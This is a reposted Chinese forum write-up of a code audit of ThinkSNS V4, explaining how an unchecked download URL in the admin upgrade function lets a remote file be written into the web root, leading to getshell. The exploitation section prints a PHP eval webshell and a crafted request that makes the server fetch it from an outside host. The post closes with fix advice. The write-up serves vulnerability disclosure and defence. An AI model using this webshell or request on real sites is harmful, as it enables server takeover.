搜索

[846] 2018-03-11_【代码审计】ThinkSNS_V4后台任意文件下载导致Getshell

文档创建者：s7ckTeam
浏览次数：72
最后更新：2025-01-16
2018-03-11_【代码审计】ThinkSNS_V4后台任意文件下载导致Getshell 0 0 0 1 0 2 0 3 【 代 码 审 计 】 T h i n k S N S _ V 4   后 台 任 意 文 件 下 载 导 致 G e t s h e l l 原 创   B y p a s s   B y p a s s   2 0 1 8 - 0 3 - 1 1 前 言 前 言 T h i n k S N S （ 简 称 T S ） ， 一 款 全 平 台 综 合 性 社 交 系 统 ， 为 国 内 外 大 中 小 企 业 和 创 业 者 提 供 社 会 化 软 件 研 发 及 技 术 解 决 方 案 ， 目 前 最 新 版 本 为 T h i n k S N S + （ 简 称 T S + ） ， 也 称 作 T h i n k S N S - p l u s 以 及 T h i n k S N S   V 4 两 套 产 品 。 在 审 计 这 套 代 码 的 过 程 中 ， 发 现 一 个 任 意 文 件 下 载 漏 洞 导 致 G e t s h e l l ， 提 交 给 C N V D ， 然 而 已 经 提 交 过 了 ， 虽 然 很 简 单 ， 还 是 分 享 一 下 思 路 。 环 境 准 备 环 境 准 备 T h i n k S N S 官 网 ： h t t p : / / w w w . t h i n k s n s . c o m 网 站 源 码 版 本 ： T h i n k S N S   V 4     更 新 时 间 ： 2 0 1 7 - 0 9 - 1 3 程 序 源 码 下 载 ： h t t p : / / w w w . t h i n k s n s . c o m / e x p e r i e n c e . h t m l （ 填 写 信 息 后 ， 提 交 并 下 载 代 码 ） 默 认 后 台 地 址 ： h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x . p h p ? a p p = a d m i n & m o d = P u b l i c & a c t = l o g i n 默 认 用 户 密 码 ： 管 理 员 帐 号 :   a d m i n @ a d m i n . c o m   密 码 自 设 ， 大 于 6 位 代 码 分 析 代 码 分 析 漏 洞 文 件 位 置 :   / a p p s / a d m i n / L i b / A c t i o n / U p g r a d e A c t i o n . c l a s s . p h p   第 1 6 8 - 1 8 9 行 ： 在 这 段 函 数 中 ， 先 备 份 老 配 置 文 件 ， 然 后 下 载 增 量 包 ， 下 载 参 数 $ d o w n U r l 未 经 过 任 何 处 理 ， 直 接 下 载 到 网 站 目 录 下 ， 接 着 验 证 h a s h 判 断 包 是 否 合 法 ， 但 是 并 没 有 删 除 下 载 的 增 量 包 ， 导 致 程 序 在 实 现 上 存 在 任 意 文 件 下 载 漏 洞 ， 下 载 远 程 文 件 到 网 站 目 录 下 ， 攻 击 者 可 指 定 第 三 方 u r l 下 载 恶 意 脚 本 到 网 站 目 录 ， 进 一 步 触 发 恶 意 代 码 ， 控 制 网 站 服 务 器 。 漏 洞 利 用 漏 洞 利 用
0 4 1 、 第 三 方 网 站 ， 新 建 一 个 e v i l . p h p ， 作 为 第 三 方 源 文 件 ： 1 .     < ? p h p       2 .     e c h o   " < ? p h p   " ;     3 .     e c h o   " e v a l ( f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ) ; " ;     4 .     e c h o   " ? > " ;     5 .     ? >     2 、   登 录 后 台 ， 通 过 访 问 构 造 的 u r l ， 成 功 下 载 第 三 方 源 的 恶 意 脚 本 文 件 。 h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x . p h p ? a p p = a d m i n & m o d = U p g r a d e & a c t = s t e p 1 & u p u r l = h t t p : / / 1 9 2 . 1 6 8 . 8 . 1 5 4 / e v i l . p h p 3 、   通 过 直 接 访 问 u r l ， 触 发 代 码 执 行 ， 成 功 获 取 网 站 服 务 器 权 限 。 修 复 建 议 修 复 建 议 1 、   指 定 固 定 更 新 源 ， 避 免 参 数 被 用 户 可 控 ； 2 、   经 过 h a s h 验 证 的 包 如 果 不 合 法 ， 应 立 即 删 除 。 B y p a s s
A b o u t   M e 一 个 网 络 安 全 爱 好 者 ， 对 技 术 有 着 偏 执 狂 一 样 的 追 求 。 致 力 于 分 享 原 创 高 质 量 干 货 ， 包 括 但 不 限 于 ： 渗 透 测 试 、 W A F 绕 过 、 代 码 审 计 、 安 全 运 维 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理